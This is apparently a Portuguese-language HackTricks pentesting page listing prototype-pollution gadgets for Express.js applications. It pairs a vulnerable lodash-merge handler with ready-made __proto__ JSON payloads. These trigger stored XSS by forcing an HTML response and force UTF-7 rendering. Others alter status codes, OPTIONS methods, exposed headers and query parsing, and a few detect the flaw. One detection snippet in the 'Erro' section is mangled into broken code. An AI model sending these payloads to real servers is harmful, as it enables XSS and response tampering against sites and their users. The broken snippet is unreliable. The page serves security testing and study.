Gadgets de Poluição de Protótipo do Express

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Servir respostas XSS

Para mais detalhes dê uma olhada na pesquisa original

Mudar o tipo de conteúdo JSON para HTML

Em um aplicativo Express usando uma resposta de tipo de conteúdo JSON e refletindo um JSON:

javascript
app.use(bodyParser.json({ type: "application/json" }))
app.post("/", function (req, res) {
_.merge({}, req.body)
res.send(req.body)
})

Nestes casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos confundir o Express para servir uma resposta HTML. Essa vulnerabilidade depende da aplicação usar res.send(obj) e usar o analisador de corpo com o tipo de conteúdo application/json.

json
{ "__proto__": { "_body": true, "body": "<script>evil()" } }

Ao poluir as propriedades body e _body, é possível fazer com que o Express sirva o tipo de conteúdo HTML e reflita a propriedade _body, resultando em XSS armazenado.

Renderizar UTF7

É possível fazer o express renderizar conteúdo UTF-7 com:

json
{ "__proto__": { "content-type": "application/json; charset=utf-7" } }

Técnicas de Escaneamento Seguras

Espaços JSON

O seguinte PP fará com que os atributos dentro de um JSON tenham um espaço extra que não quebrará a funcionalidade:

json
{ "__proto__": { "json spaces": " " } }

Então um JSON refletido ficará assim:

json
{"foo":  "bar"} -- Note the extra space

Cabeçalhos Expostos

O seguinte gadget de PP fará com que o servidor envie de volta o cabeçalho HTTP: Access-Control-Expose_headers: foo

json
{ "__proto__": { "exposedHeaders": ["foo"] } }

Requer o módulo CORS instalado

Método OPTIONS

Com o seguinte payload, é possível ocultar um método de uma resposta OPTIONS:

javascript
// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

É possível alterar o código de status retornado usando o seguinte payload de PP:

json
{ "__proto__": { "status": 510 } }

Erro

Quando você atribui a um protótipo com um primitivo como uma string, isso produz uma operação no-op, uma vez que o protótipo tem que ser um objeto. Se você tentar atribuir um objeto protótipo ao Object.prototype em si, isso gerará uma exceção. Podemos usar esses dois comportamentos para detectar se a poluição do protótipo foi bem-sucedida:

javascript
;({}).__proto__.__proto__ = {}(
//throws type exception
{}
).__proto__.__proto__ = "x" //no-op does not throw exception

Valor Refletido

Quando uma aplicação inclui um objeto em sua resposta, criar um atributo com um nome incomum junto com __proto__ pode ser revelador. Especificamente, se apenas o atributo incomum for retornado na resposta, isso pode indicar a vulnerabilidade da aplicação:

json
{ "unusualName": "value", "__proto__": "test" }

Além disso, em cenários onde uma biblioteca como Lodash é empregada, definir uma propriedade tanto via poluição de protótipo (PP) quanto diretamente dentro do objeto oferece outra abordagem diagnóstica. Se tal propriedade for omitida da resposta, isso sugere que Lodash está verificando a existência da propriedade no objeto alvo antes de mesclar:

javascript
{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Diversos

Permitir Pontos

Há uma opção no Express que permite criar objetos a partir de parâmetros de string de consulta.
Você definitivamente poderia usá-la em uma cadeia de bugs para explorar uma vulnerabilidade de poluição de protótipo.

json
{ "__proto__": { "allowDots": true } }

?foo.bar=baz cria um objeto no Node.

Referências

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks